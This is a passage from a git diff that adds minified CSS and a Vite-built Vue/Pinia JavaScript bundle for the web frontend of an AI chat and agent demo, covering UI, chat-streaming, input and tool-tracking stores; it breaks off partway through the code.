20px;font-size:14px;font-weight:700;color:var(--text-primary);background:linear-gradient(135deg,var(--accent),var(--accent-strong));cursor:pointer}.tutorial-start-button:hover{transform:translateY(-1px);box-shadow:var(--theme-shadow-soft)}.tutorial-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:3200;pointer-events:auto;touch-action:none}.tutorial-click-blocker{position:fixed;top:0;right:0;bottom:0;left:0;pointer-events:auto;background:transparent;z-index:0}.tutorial-mask{position:fixed;background:transparent;pointer-events:auto;z-index:1}.tutorial-highlight{position:fixed;border-radius:12px;border:2px solid var(--surface-soft);box-shadow:0 0 0 1px color-mix(in srgb,var(--text-primary) 50%,transparent),0 10px 34px var(--drag-preview-shadow);pointer-events:none;z-index:2}.tutorial-click-effect{position:fixed;width:18px;height:18px;border-radius:50%;border:2px solid color-mix(in srgb,var(--state-info) 90%,transparent);pointer-events:none;z-index:3;animation:tutorialClickPulse .45s ease}@keyframes tutorialClickPulse{0%{opacity:1;transform:scale(.6)}to{opacity:0;transform:scale(1.8)}}.tutorial-popover{position:fixed;width:min(360px,100vw - 24px);border-radius:14px;border:1px solid var(--theme-control-border-strong);background:var(--theme-surface-card);color:var(--text-primary);box-shadow:var(--theme-shadow-strong);padding:14px 14px 12px;pointer-events:auto;z-index:4}.tutorial-popover.is-hidden{opacity:0;pointer-events:none}.tutorial-popover__header{display:flex;align-items:center;justify-content:space-between;margin-bottom:8px}.tutorial-popover__step{font-size:12px;font-weight:700;color:var(--text-secondary)}.tutorial-popover__close{border:1px solid var(--theme-control-border);background:var(--theme-surface-soft);color:var(--text-primary);border-radius:999px;padding:4px 10px;font-size:12px;cursor:pointer}.tutorial-popover__title{margin:0;font-size:16px}.tutorial-popover__desc{margin:8px 0 0;font-size:13px;line-height:1.58;color:var(--text-secondary)}.tutorial-popover__hint,.tutorial-popover__warn{margin:10px 0 0;font-size:12px}.tutorial-popover__hint,.tutorial-popover__warn{color:var(--accent-strong)}.tutorial-popover__actions{margin-top:12px;display:flex;gap:8px;justify-content:flex-end;flex-wrap:wrap}.tutorial-btn{border:none;border-radius:10px;padding:7px 12px;font-size:12px;font-weight:700;color:var(--text-primary);background:linear-gradient(135deg,var(--accent),var(--accent-strong));cursor:pointer}.tutorial-btn:disabled{opacity:.65;cursor:not-allowed}.tutorial-btn--ghost{color:var(--text-primary);border:1px solid var(--theme-control-border);background:var(--theme-surface-soft)}.drag-upload-overlay{position:fixed;top:0;right:0;bottom:0;left:0;background:var(--theme-overlay-scrim);-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);display:flex;align-items:center;justify-content:center;z-index:9999;pointer-events:none}.drag-upload-content{display:flex;flex-direction:column;align-items:center;gap:16px;padding:48px 64px;border:2px dashed var(--accent);border-radius:16px;background:var(--highlight);animation:drag-pulse 1.5s ease-in-out infinite}.drag-upload-icon{width:64px;height:64px;color:var(--accent)}.drag-upload-icon svg{width:100%;height:100%}.drag-upload-text{font-size:20px;font-weight:600;color:var(--text-primary)}.drag-upload-hint{font-size:14px;color:var(--text-secondary)}@keyframes drag-pulse{0%,to{box-shadow:0 0 0 0 var(--pulse-ring)}50%{box-shadow:0 0 0 12px transparent}}.drag-overlay-fade-enter-active,.drag-overlay-fade-leave-active{transition:opacity .2s ease}.drag-overlay-fade-enter-from,.drag-overlay-fade-leave-to{opacity:0}:root[data-theme=light] .drag-upload-content{border-color:var(--text-primary);background:var(--highlight)}:root[data-theme=light] .drag-upload-icon{color:var(--text-primary)}:root[data-theme=light] .drag-upload-hint{color:var(--text-primary)}:root[data-theme=classic] .drag-upload-hint,:root:not([data-theme]) .drag-upload-hint{color:var(--text-primary)}:root[data-theme=dark] .drag-upload-content{border-color:var(--text-primary);background:var(--highlight)}:root[data-theme=dark] .drag-upload-icon{color:var(--text-primary)}@media (max-width: 1200px){.left-sidebar,.right-sidebar{width:300px!important}}@media (max-width: 768px){.conversation-sidebar{position:absolute;left:0;top:0;height:100%;z-index:1000;box-shadow:2px 0 10px var(--shadow-color);transform:translate(-100%)}.conversation-sidebar:not(.collapsed){transform:translate(0)}.left-sidebar,.right-sidebar,.resize-handle{display:none}} diff --git a/demo/static/dist/assets/main.js b/demo/static/dist/assets/main.js new file mode 100644 index 0000000..1382508 --- /dev/null +++ b/demo/static/dist/assets/main.js @@ -0,0 +1,436 @@ +const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/PersonalizationDrawer.js","assets/runtime-dom.esm-bundler.js","assets/FancyCheck.js","assets/_plugin-vue_export-helper.js","assets/FancyCheck.css","assets/useMarkdownRenderer.js","assets/PersonalizationDrawer.css","assets/ImagePicker.js","assets/ImagePicker.css","assets/ConversationReviewDialog.js","assets/ConversationReviewDialog.css","assets/SubAgentActivityDialog.js","assets/SubAgentActivityDialog.css","assets/BackgroundCommandDialog.js","assets/VersioningDialog.js","assets/VersioningDialog.css","assets/UserQuestionDialog.js","assets/UserQuestionDialog.css","assets/PlanApprovalDialog.js","assets/PlanApprovalDialog.css","assets/TutorialOverlay.js","assets/NewUserTutorialPrompt.js","assets/NewUserTutorialPrompt.css","assets/GoalProgressDialog.js","assets/GoalProgressDialog.css","assets/WorkflowDemoShell.js","assets/WorkflowDemoShell.css","assets/VirtualMonitorSurface.js","assets/PathAuthorizationDialog.js","assets/PathAuthorizationDialog.css"])))=>i.map(i=>d[i]); +var bF=Object.defineProperty;var MM=s=>{throw TypeError(s)};var _F=(s,e,t)=>e in s?bF(s,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):s[e]=t;var _e=(s,e,t)=>_F(s,typeof e!="symbol"?e+"":e,t),Dk=(s,e,t)=>e.has(s)||MM("Cannot "+t);var f=(s,e,t)=>(Dk(s,e,"read from private field"),t?t.call(s):e.get(s)),D=(s,e,t)=>e.has(s)?MM("Cannot add the same private member more than once"):e instanceof WeakSet?e.add(s):e.set(s,t),x=(s,e,t,n)=>(Dk(s,e,"write to private field"),n?n.call(s,t):e.set(s,t),t),B=(s,e,t)=>(Dk(s,e,"access private method"),t);var xs=(s,e,t,n)=>({set _(i){x(s,e,i,t)},get _(){return f(s,e,n)}});import{l as ye,C as jv,D as iE,E as SF,G as m2,k as pe,H as rE,I as v2,J as y2,K as wF,L as kF,M as CF,x as mw,N as ft,O as TF,w as Xe,P as b2,a as xn,d as at,o as Cn,Q as xM,q as Qe,R as _2,S as AF,b as F,c as $,n as ke,g as E,y as Ke,t as ae,f as ge,s as Vt,F as Ie,r as tt,U as Vv,p as mi,V as S2,e as Wt,i as hn,W as EF,A as Ne,X as Sp,u as We,Y as MF,T as us,h as _v,z as Sv,j as sS,Z as xF,_ as IF,$ as RF,a0 as LF,a1 as PF,a2 as OF,a3 as br,m as w2,a4 as Xs,a5 as DF}from"./runtime-dom.esm-bundler.js";import{_ as Qt}from"./_plugin-vue_export-helper.js";import{P as vw,p as NF,a as BF,b as FF,r as k2,k as $F}from"./useMarkdownRenderer.js";import{F as HF}from"./FancyCheck.js";/*! + * pinia v3.0.4 + * (c) 2025 Eduardo San Martin Morote + * @license MIT + */let C2;const G0=s=>C2=s,T2=Symbol();function m1(s){return s&&typeof s=="object"&&Object.prototype.toString.call(s)==="[object Object]"&&typeof s.toJSON!="function"}var wv;(function(s){s.direct="direct",s.patchObject="patch object",s.patchFunction="patch function"})(wv||(wv={}));function UF(){const s=m2(!0),e=s.run(()=>pe({}));let t=[],n=[];const i=rE({install(r){G0(i),i._a=r,r.provide(T2,i),r.config.globalProperties.$pinia=i,n.forEach(o=>t.push(o)),n=[]},use(r){return this._a?t.push(r):n.push(r),this},_p:t,_a:null,_e:s,_s:new Map,state:e});return i}const A2=()=>{};function IM(s,e,t,n=A2){s.add(e);const i=()=>{s.delete(e)&&n()};return!t&&kF()&&CF(i),i}function Uf(s,...e){s.forEach(t=>{t(...e)})}const WF=s=>s(),RM=Symbol(),Nk=Symbol();function v1(s,e){s instanceof Map&&e instanceof Map?e.forEach((t,n)=>s.set(n,t)):s instanceof Set&&e instanceof Set&&e.forEach(s.add,s);for(const t in e){if(!e.hasOwnProperty(t))continue;const n=e[t],i=s[t];m1(i)&&m1(n)&&s.hasOwnProperty(t)&&!jv(n)&&!iE(n)?s[t]=v1(i,n):s[t]=n}return s}const zF=Symbol();function jF(s){return!m1(s)||!Object.prototype.hasOwnProperty.call(s,zF)}const{assign:zc}=Object;function VF(s){return!!(jv(s)&&s.effect)}function GF(s,e,t,n){const{state:i,actions:r,getters:o}=e,a=t.state.value[s];let c;function l(){a||(t.state.value[s]=i?i():{});const u=TF(t.state.value[s]);return zc(u,r,Object.keys(o||{}).reduce((h,d)=>(h[d]=rE(ye(()=>{G0(t);const p=t._s.get(s);return o[d].call(p,p)})),h),{}))}return c=E2(s,l,e,t,n,!0),c}function E2(s,e,t={},n,i,r){let o;const a=zc({actions:{}},t),c={deep:!0};let l,u,h=new Set,d=new Set,p;const m=n.state.value[s];!r&&!m&&(n.state.value[s]={});let v;function g(k){let A;l=u=!1,typeof k=="function"?(k(n.state.value[s]),A={type:wv.patchFunction,storeId:s,events:p}):(v1(n.state.value[s],k),A={type:wv.patchObject,payload:k,storeId:s,events:p});const M=v=Symbol();ft().then(()=>{v===M&&(l=!0)}),u=!0,Uf(h,A,n.state.value[s])}const y=r?function(){const{state:A}=t,M=A?A():{};this.$patch(R=>{zc(R,M)})}:A2;function b(){o.stop(),h.clear(),d.clear(),n._s.delete(s)}const _=(k,A="")=>{if(RM in k)return k[Nk]=A,k;const M=function(){G0(n);const R=Array.from(arguments),P=new Set,L=new Set;function z(V){P.add(V)}function Q(V){L.add(V)}Uf(d,{args:R,name:M[Nk],store:S,after:z,onError:Q});let W;try{W=k.apply(this&&this.$id===s?this:S,R)}catch(V){throw Uf(L,V),V}return W instanceof Promise?W.then(V=>(Uf(P,V),V)).catch(V=>(Uf(L,V),Promise.reject(V))):(Uf(P,W),W)};return M[RM]=!0,M[Nk]=A,M},w={_p:n,$id:s,$onAction:IM.bind(null,d),$patch:g,$reset:y,$subscribe(k,A={}){const M=IM(h,k,A.detached,()=>R()),R=o.run(()=>Xe(()=>n.state.value[s],P=>{(A.flush==="sync"?u:l)&&k({storeId:s,type:wv.direct,events:p},P)},zc({},c,A)));return M},$dispose:b},S=mw(w);n._s.set(s,S);const T=(n._a&&n._a.runWithContext||WF)(()=>n._e.run(()=>(o=m2()).run(()=>e({action:_}))));for(const k in T){const A=T[k];if(jv(A)&&!VF(A)||iE(A))r||(m&&jF(A)&&(jv(A)?A.value=m[k]:v1(A,m[k])),n.state.value[s][k]=A);else if(typeof A=="function"){const M=_(A,k);T[k]=M,a.actions[k]=A}}return zc(S,T),zc(v2(S),T),Object.defineProperty(S,"$state",{get:()=>n.state.value[s],set:k=>{g(A=>{zc(A,k)})}}),n._p.forEach(k=>{zc(S,o.run(()=>k({store:S,app:n._a,pinia:n,options:a})))}),m&&r&&t.hydrate&&t.hydrate(S.$state,m),l=!0,u=!0,S}/*! #__NO_SIDE_EFFECTS__ */function dn(s,e,t){let n;const i=typeof e=="function";n=i?t:e;function r(o,a){const c=wF();return o=o||(c?y2(T2,null):null),o&&G0(o),o=C2,o._s.has(s)||(i?E2(s,e,n,o):GF(s,n,o)),o._s.get(s)}return r.$id=s,r}function b_(s,e){return Array.isArray(e)?e.reduce((t,n)=>(t[n]=function(){return s(this.$pinia)[n]},t),{}):Object.keys(e).reduce((t,n)=>(t[n]=function(){const i=s(this.$pinia),r=e[n];return typeof r=="function"?r.call(this,i):i[r]},t),{})}function Ir(s,e){return Array.isArray(e)?e.reduce((t,n)=>(t[n]=function(...i){return s(this.$pinia)[n](...i)},t),{}):Object.keys(e).reduce((t,n)=>(t[n]=function(...i){return s(this.$pinia)[e[n]](...i)},t),{})}function Ko(s,e){return Array.isArray(e)?e.reduce((t,n)=>(t[n]={get(){return s(this.$pinia)[n]},set(i){return s(this.$pinia)[n]=i}},t),{}):Object.keys(e).reduce((t,n)=>(t[n]={get(){return s(this.$pinia)[e[n]]},set(i){return s(this.$pinia)[e[n]]=i}},t),{})}function Ii(s){const e=v2(s),t={};for(const n in e){const i=e[n];i.effect?t[n]=ye({get:()=>s[n],set(r){s[n]=r}}):(jv(i)||iE(i))&&(t[n]=SF(s,n))}return t}const qF="modulepreload",KF=function(s){return"/static/dist/"+s},LM={},wt=function(e,t,n){let i=Promise.resolve();if(t&&t.length>0){document.getElementsByTagName("link");const o=document.querySelector("meta[property=csp-nonce]"),a=(o==null?void 0:o.nonce)||(o==null?void 0:o.getAttribute("nonce"));i=Promise.allSettled(t.map(c=>{if(c=KF(c),c in LM)return;LM[c]=!0;const l=c.endsWith(".css"),u=l?'[rel="stylesheet"]':"";if(document.querySelector(`link[href="${c}"]${u}`))return;const h=document.createElement("link");if(h.rel=l?"stylesheet":qF,l||(h.as="script"),h.crossOrigin="",h.href=c,a&&h.setAttribute("nonce",a),document.head.appendChild(h),l)return new Promise((d,p)=>{h.addEventListener("load",d),h.addEventListener("error",()=>p(new Error(`Unable to preload CSS for ${c}`)))})}))}function r(o){const a=new Event("vite:preloadError",{cancelable:!0});if(a.payload=o,window.dispatchEvent(a),!a.defaultPrevented)throw o}return i.then(o=>{for(const a of o||[])a.status==="rejected"&&r(a.reason);return e().catch(r)})},QF=typeof window<"u"&&typeof window.matchMedia=="function"?window.matchMedia("(max-width: 768px)").matches:!1,Vs=dn("ui",{state:()=>({sidebarCollapsed:!0,chatDisplayMode:"chat",rightWidth:420,rightCollapsed:!0,rightSplitRatio:.5,isResizing:!1,resizingPanel:null,minPanelWidth:350,maxPanelWidth:600,quotaToast:null,quotaToastTimer:null,toastQueue:[],nextToastId:1,confirmDialog:null,pendingConfirmResolver:null,easterEgg:{active:!1,effect:null,payload:null,instance:null,cleanupTimer:null,destroying:!1,destroyPromise:null},isMobileViewport:QF,mobileOverlayMenuOpen:!1,activeMobileOverlay:null,imagePreview:null}),actions:{openImagePreview(s){const e=String((s==null?void 0:s.url)||"");e&&(this.imagePreview={url:e,name:String((s==null?void 0:s.name)||"")})},closeImagePreview(){this.imagePreview=null},setSidebarCollapsed(s){this.sidebarCollapsed=s},toggleSidebar(){this.sidebarCollapsed=!this.sidebarCollapsed},setChatDisplayMode(s){this.chatDisplayMode=s},toggleChatDisplayMode(){this.chatDisplayMode=this.chatDisplayMode==="chat"?"monitor":"chat"},setRightWidth(s){this.rightWidth=s},setRightCollapsed(s){this.rightCollapsed=s},setRightSplitRatio(s){this.rightSplitRatio=Math.max(.15,Math.min(.85,s))},setResizing(s,e=null){this.isResizing=s,this.resizingPanel=s?e:null},setPanelBounds(s,e){this.minPanelWidth=s,this.maxPanelWidth=e},setIsMobileViewport(s){this.isMobileViewport=s,s||(this.mobileOverlayMenuOpen=!1,this.activeMobileOverlay=null)},setMobileOverlayMenuOpen(s){this.mobileOverlayMenuOpen=s},toggleMobileOverlayMenu(){this.mobileOverlayMenuOpen=!this.mobileOverlayMenuOpen},setActiveMobileOverlay(s){this.activeMobileOverlay=s},closeMobileOverlay(){this.activeMobileOverlay=null},showQuotaToastMessage(s,e="fast",t=5e3){this.quotaToast={message:s,type:e},this.quotaToastTimer&&clearTimeout(this.quotaToastTimer),this.quotaToastTimer=setTimeout(()=>{this.dismissQuotaToast()},t)},dismissQuotaToast(){this.quotaToastTimer&&(clearTimeout(this.quotaToastTimer),this.quotaToastTimer=null),this.quotaToast=null},pushToast(s={}){const e=s.title||"",t=s.message||"";if(!e&&!t)return 0;const n=this.nextToastId++,i={id:n,title:e,message:t,type:s.type||"info",closable:s.closable!==!1,timeoutId:null},r=Object.prototype.hasOwnProperty.call(s,"duration")?s.duration:4e3;return r!==null&&(i.timeoutId=setTimeout(()=>this.dismissToast(n),r)),this.toastQueue.push(i),n},updateToast(s,e={}){const t=this.toastQueue.find(n=>n.id===s);t&&(e.title!==void 0&&(t.title=e.title),e.message!==void 0&&(t.message=e.message),e.type!==void 0&&(t.type=e.type),e.closable!==void 0&&(t.closable=e.closable),Object.prototype.hasOwnProperty.call(e,"duration")&&(t.timeoutId&&(clearTimeout(t.timeoutId),t.timeoutId=null),e.duration!==null&&typeof e.duration=="number"&&(t.timeoutId=setTimeout(()=>this.dismissToast(s),e.duration))))},dismissToast(s){const e=this.toastQueue.findIndex(n=>n.id===s);if(e===-1)return;const[t]=this.toastQueue.splice(e,1);t&&t.timeoutId&&clearTimeout(t.timeoutId)},requestConfirm(s={}){return new Promise(e=>{if(this.pendingConfirmResolver){const t=this.pendingConfirmResolver;this.pendingConfirmResolver=null,t(!1)}this.confirmDialog={visible:!0,title:s.title||"确认操作",message:s.message||"请确认本次操作",confirmText:s.confirmText||"确认",cancelText:s.cancelText||"取消",warningText:s.warningText||"",closeOnBackdrop:s.closeOnBackdrop!==!1,confirmVariant:s.confirmVariant==="danger"?"danger":"primary",confirmOnLeft:s.confirmOnLeft===!0},this.pendingConfirmResolver=e})},resolveConfirm(s){this.confirmDialog&&(this.confirmDialog.visible=!1);const e=this.pendingConfirmResolver;this.pendingConfirmResolver=null,this.confirmDialog=null,e&&e(!!s)},setEasterEggState(s){this.easterEgg={...this.easterEgg,...s}},clearEasterEgg(){this.easterEgg={active:!1,effect:null,payload:null,instance:null,cleanupTimer:null,destroying:!1,destroyPromise:null}}}}),XF=Object.freeze(Object.defineProperty({__proto__:null,useUiStore:Vs},Symbol.toStringTag,{value:"Module"})),YF=new Set(["chat","compact","hidden"]),JF=new Set(["user","presend"]),ZF=new Set(["guidance","goal_review","compression","compression_handoff","sub_agent","background_command","workflow"]);function y1(s){return String(s||"").trim().toLowerCase()}function M2(s){return String((s==null?void 0:s.content)||(s==null?void 0:s.message)||"").trim()}function e$(s){const e=M2(s);return e.includes("【目标模式已开启】")||e.includes(`[系统通知|goal] +【目标模式已开启】`)}function x2(s){return M2(s).includes("审核智能体对于你的工作结束给出了以下内容")}function Oh(s){var i;const e=(s==null?void 0:s.metadata)||{},t=y1(e.visibility||((i=e.ui)==null?void 0:i.visibility)||(s==null?void 0:s.visibility));if(YF.has(t))return t;if(e.hidden===!0||e.system_injected_image||e.system_injected_video)return"hidden";const n=y1(e.message_source||e.source||(s==null?void 0:s.message_source)||(s==null?void 0:s.source));return n==="skill"||n==="goal_prompt"||e$(s)||n==="notify"&&(e.runtime_mode_notice||s!=null&&s.runtime_mode_notice)?"hidden":ZF.has(n)||x2(s)?"compact":"chat"}function kv(s){var n;const e=(s==null?void 0:s.metadata)||{};if(typeof e.starts_work=="boolean")return e.starts_work;if(typeof((n=e.ui)==null?void 0:n.starts_work)=="boolean")return e.ui.starts_work;if(typeof(s==null?void 0:s.starts_work)=="boolean")return s.starts_work;if(Oh(s)==="hidden")return!1;const t=y1(e.message_source||e.source||(s==null?void 0:s.message_source)||(s==null?void 0:s.source));return t==="guidance"||t==="goal_prompt"||t==="skill"?!1:t==="goal_review"||x2(s)?!0:t==="compression"||t==="compression_handoff"?!1:JF.has(t||"user")}const Bk=["正在构思…","稍候,AI 正在准备","准备工具中","容我三思…","答案马上就来","灵感加载中","思路拼装中","琢磨最佳方案","脑内开会中","整理资料中","润色回复中","调配上下文","搜刮记忆中","快敲完了,别急","领域展开","工具链装配中…","句子正在成形…","让我再捋一捋…","知识库检索中…"],t$=//i;function s$(s){return s?t$.test(s):!1}function n$(){if(!Bk.length)return"";const s=Math.floor(Math.random()*Bk.length);return Bk[s]}function Fk(){return{role:"assistant",actions:[],streamingThinking:"",streamingText:"",currentStreamingType:null,activeThinkingId:null,awaitingFirstContent:!1,generatingLabel:n$()}}function __(s){return`${s}-${Date.now()}-${Math.random().toString(36).slice(2)}`}function $k(s){return new Set(Array.from(s))}function i$(s){return new Map(Array.from(s.entries()))}function Hk(s){s&&s.awaitingFirstContent&&(s.awaitingFirstContent=!1)}const Uk=(...s)=>{},oE=dn("chat",{state:()=>({messages:[],currentMessageIndex:-1,streamingMessage:!1,expandedBlocks:new Set,autoScrollEnabled:!0,userScrolling:!1,thinkingScrollLocks:new Map}),getters:{isScrollLocked:s=>s.autoScrollEnabled&&!s.userScrolling},actions:{setStreamingMessage(s){this.streamingMessage=!!s},setCurrentMessageIndex(s){this.currentMessageIndex=s},setMessages(s){this.messages=s},clearMessages(){this.messages=[],this.currentMessageIndex=-1},updateEditSummaryByMessageId(s,e){var n;const t=i=>{i.metadata={...i.metadata||{},edit_summary:e}};if(s)for(let i=this.messages.length-1;i>=0;i-=1){const r=this.messages[i];if((r==null?void 0:r.role)==="user"&&(r==null?void 0:r.message_id)===s){t(r);return}}for(let i=this.messages.length-1;i>=0;i-=1){const r=this.messages[i];if((r==null?void 0:r.role)==="user"&&((n=r==null?void 0:r.metadata)==null?void 0:n.starts_work)===!0){t(r);return}}},toggleBlock(s){const e=$k(this.expandedBlocks);e.has(s)?e.delete(s):e.add(s),this.expandedBlocks=e},expandBlock(s){const e=$k(this.expandedBlocks);e.add(s),this.expandedBlocks=e},collapseBlock(s){const e=$k(this.expandedBlocks);e.delete(s),this.expandedBlocks=e},clearExpandedBlocks(){this.expandedBlocks=new Set},setThinkingLock(s,e){const t=i$(this.thinkingScrollLocks);e?t.set(s,!0):t.delete(s),this.thinkingScrollLocks=t},clearThinkingLocks(){this.thinkingScrollLocks=new Map},setScrollState(s){typeof s.autoScrollEnabled<"u"&&(this.autoScrollEnabled=!!s.autoScrollEnabled),typeof s.userScrolling<"u"&&(this.userScrolling=!!s.userScrolling)},enableAutoScroll(){this.setScrollState({autoScrollEnabled:!0,userScrolling:!1})},disableAutoScroll(){this.setScrollState({autoScrollEnabled:!1,userScrolling:!1})},toggleScrollLockState(){return this.isScrollLocked?(this.disableAutoScroll(),!1):(this.enableAutoScroll(),!0)},ensureAssistantMessage(){if(this.currentMessageIndex>=0)return this.messages[this.currentMessageIndex];const s=Fk();return this.messages.push(s),this.currentMessageIndex=this.messages.length-1,s},addUserMessage(s,e=[],t=[],n=[],i="user",r={}){const o=new Date().toISOString(),a=String(i||"user").trim().toLowerCase(),c={media_refs:Array.isArray(n)?n:[],message_source:a,...r};c.visibility=Oh({content:s,metadata:c}),c.starts_work=kv({content:s,metadata:c}),c.starts_work===!0&&(c.work_timer={status:"working",started_at:o}),this.messages.push({role:"user",content:s,images:e,videos:t,media_refs:Array.isArray(n)?n:[],metadata:c,created_at:o}),this.currentMessageIndex=-1},startAssistantMessage(){const s=Fk();return this.messages.push(s),this.currentMessageIndex=this.messages.length-1,this.streamingMessage=!0,s.awaitingFirstContent=!0,s},startThinkingAction(){const s=this.ensureAssistantMessage();Hk(s);const e=this.getActiveThinkingAction(s);if(e&&e.streaming===!0)return{action:e,blockId:e.blockId||e.id};s.streamingThinking="",s.currentStreamingType="thinking";const t=__("thinking"),n=t,i={id:t,type:"thinking",content:"",streaming:!0,timestamp:Date.now(),blockId:n};return s.actions.push(i),s.activeThinkingId=t,{action:i,blockId:n}},appendThinkingChunk(s){if(this.currentMessageIndex<0)return null;const e=this.messages[this.currentMessageIndex];e.streamingThinking+=s;const t=this.getActiveThinkingAction(e);return t?(t.content+=s,t):null},completeThinking(s){if(this.currentMessageIndex<0)return null;const e=this.messages[this.currentMessageIndex],t=this.getActiveThinkingAction(e);return t?(t.streaming=!1,t.content=s,e.streamingThinking="",e.currentStreamingType=null,e.activeThinkingId=null,t.blockId||t.id):null},startTextAction(){const s=this.ensureAssistantMessage();if(!s)return null;Hk(s);const e=s.actions[s.actions.length-1];if(e&&e.type==="text"&&e.streaming===!0)return e;s.streamingText="",s.currentStreamingType="text",s.__splitByShowHtml=!1;const t={id:__("text"),type:"text",content:"",streaming:!0,timestamp:Date.now()};return s.actions.push(t),t},appendTextChunk(s){if(this.currentMessageIndex<0)return null;const e=this.messages[this.currentMessageIndex];if(!e)return null;typeof e.streamingText!="string"&&(e.streamingText=""),e.streamingText+=s;let t=e.actions[e.actions.length-1];return t&&t.type==="text"&&t.streaming||(t={id:__("text"),type:"text",content:"",streaming:!0,timestamp:Date.now(),continuation:!0},e.actions.push(t)),t.content+=s,t.streaming&&s$(t.content)&&(t.streaming=!1,t.frozenByShowHtml=!0,e.__splitByShowHtml=!0),t},completeText(s){if(this.currentMessageIndex<0)return;const e=this.messages[this.currentMessageIndex],t=!!e.__splitByShowHtml;let n=!1;for(let i=e.actions.length-1;i>=0;i--){const r=e.actions[i];if(r.type==="text"&&r.streaming){r.streaming=!1,n=!0,!t&&typeof s=="string"&&s.length&&(r.content=s);break}}if(!n&&!t&&typeof s=="string")for(let i=e.actions.length-1;i>=0;i--){const r=e.actions[i];if(r.type==="text"){r.content=s;break}}e.streamingText="",e.currentStreamingType=null,delete e.__splitByShowHtml},addSystemMessage(s,e=null){const t=(e==null?void 0:e.variant)==="sub_agent_done";if(t&&Array.isArray(this.messages)&&this.messages.length>0){const r=this.messages[this.messages.length-1],o=Array.isArray(r==null?void 0:r.actions)?r.actions:[];(r==null?void 0:r.role)==="assistant"&&o.length===0&&!!(r!=null&&r.awaitingFirstContent)&&(Uk("chat.addSystemMessage:cleanup-empty-assistant-placeholder",{currentMessageIndex:this.currentMessageIndex,messagesLengthBeforeCleanup:this.messages.length}),this.messages.pop(),this.currentMessageIndex=this.messages.length-1)}const n=t?Fk():this.ensureAssistantMessage();Hk(n),Uk("chat.addSystemMessage:before",{content:s,meta:e,useStandaloneMessage:t,messagesLengthBefore:this.messages.length,currentMessageIndex:this.currentMessageIndex,actionsBefore:Array.isArray(n==null?void 0:n.actions)?n.actions.length:-1});const i={id:__("system"),type:"system",content:s,variant:(e==null?void 0:e.variant)||null,timestamp:Date.now()};n.actions.push(i),t&&(this.messages.push(n),this.currentMessageIndex=this.messages.length-1),Uk("chat.addSystemMessage:after",{messagesLengthAfter:this.messages.length,currentMessageIndex:this.currentMessageIndex,actionsAfter:Array.isArray(n==null?void 0:n.actions)?n.actions.length:-1})},getActiveThinkingAction(s){if(!s||!Array.isArray(s.actions))return null;if(s.activeThinkingId){const e=s.actions.find(t=>t&&t.id===s.activeThinkingId&&t.type==="thinking");if(e)return e}for(let e=s.actions.length-1;e>=0;e--){const t=s.actions[e];if(t&&t.type==="thinking"&&t.streaming!==!1)return t}return null},resetChatState(){this.messages=[],this.currentMessageIndex=-1,this.streamingMessage=!1,this.clearExpandedBlocks(),this.clearThinkingLocks()}}}),q0=dn("input",{state:()=>({inputMessage:"",inputLineCount:1,inputIsMultiline:!1,inputIsFocused:!1,quickMenuOpen:!1,toolMenuOpen:!1,settingsOpen:!1,imagePickerOpen:!1,selectedImages:[],videoPickerOpen:!1,selectedVideos:[],selectedFiles:[],goalModeArmed:!1,goalRunning:!1,goalProgress:null,goalDialogOpen:!1}),actions:{setInputMessage(s){this.inputMessage=s},clearInputMessage(){this.inputMessage=""},setInputLineCount(s){this.inputLineCount=s},setInputMultiline(s){this.inputIsMultiline=s},setInputFocused(s){this.inputIsFocused=s},openQuickMenu(){this.quickMenuOpen=!0},setQuickMenuOpen(s){this.quickMenuOpen=s,s||(this.toolMenuOpen=!1,this.settingsOpen=!1)},toggleQuickMenu(){const s=!this.quickMenuOpen;return this.setQuickMenuOpen(s),s},closeMenus(){this.quickMenuOpen=!1,this.toolMenuOpen=!1,this.settingsOpen=!1},toggleToolMenu(){return this.toolMenuOpen=!this.toolMenuOpen,this.toolMenuOpen},setToolMenuOpen(s){this.toolMenuOpen=s},toggleSettingsMenu(){return this.settingsOpen=!this.settingsOpen,this.settingsOpen},setSettingsOpen(s){this.settingsOpen=s},setImagePickerOpen(s){this.imagePickerOpen=s},setVideoPickerOpen(s){this.videoPickerOpen=s},setSelectedImages(s){this.selectedImages=s.slice(0,9)},addSelectedImage(s){if(!s)return;const e=Array.from(new Set([...this.selectedImages,s]));this.selectedImages=e.slice(0,9)},removeSelectedImage(s){this.selectedImages=this.selectedImages.filter(e=>e!==s)},clearSelectedImages(){this.selectedImages=[]},setSelectedVideos(s){this.selectedVideos=s.slice(0,1)},addSelectedVideo(s){s&&(this.selectedVideos=[s])},removeSelectedVideo(s){this.selectedVideos=this.selectedVideos.filter(e=>e!==s)},clearSelectedVideos(){this.selectedVideos=[]},addSelectedFile(s){if(!s)return;const e=Array.from(new Set([...this.selectedFiles,s]));this.selectedFiles=e.slice(0,9)},removeSelectedFile(s){this.selectedFiles=this.selectedFiles.filter(e=>e!==s)},clearSelectedFiles(){this.selectedFiles=[]},toggleGoalArmed(){return this.goalRunning?this.goalModeArmed:(this.goalModeArmed=!this.goalModeArmed,this.goalModeArmed)},setGoalArmed(s){this.goalModeArmed=s},setGoalRunning(s){this.goalRunning=s,s&&(this.goalModeArmed=!1)},setGoalProgress(s){this.goalProgress=s},setGoalDialogOpen(s){this.goalDialogOpen=s}}}),I2=dn("tool",{state:()=>({preparingTools:new Map,activeTools:new Map,toolActionIndex:new Map,toolStacks:new Map,toolSettings:[],toolSettingsLoading:!1}),actions:{setToolSettings(s){this.toolSettings=s},setToolSettingsLoading(s){this.toolSettingsLoading=s},registerToolAction(s,e=null){if(!s||s.type!=="tool")return;const t=new Set;s.id&&t.add(s.id),s.tool&&s.tool.id&&t.add(s.tool.id),e&&t.add(e),s.tool&&s.tool.executionId&&t.add(s.tool.executionId),t.forEach(n=>{n!=null&&this.toolActionIndex.set(String(n),s)})},unregisterToolAction(s){if(!s||s.type!=="tool")return;const e=[];for(const[t,n]of this.toolActionIndex.entries())n===s&&e.push(t);e.forEach(t=>this.toolActionIndex.delete(t)),s.tool&&s.tool.name&&this.releaseToolAction(s.tool.name,s)},findToolAction(s,e,t){const n=[t,s,e];for(const i of n){if(i==null)continue;const r=String(i);if(this.toolActionIndex.has(r))return this.toolActionIndex.get(r)}return null},trackToolAction(s,e){if(!s||!e)return;this.toolStacks.has(s)||this.toolStacks.set(s,[]);const 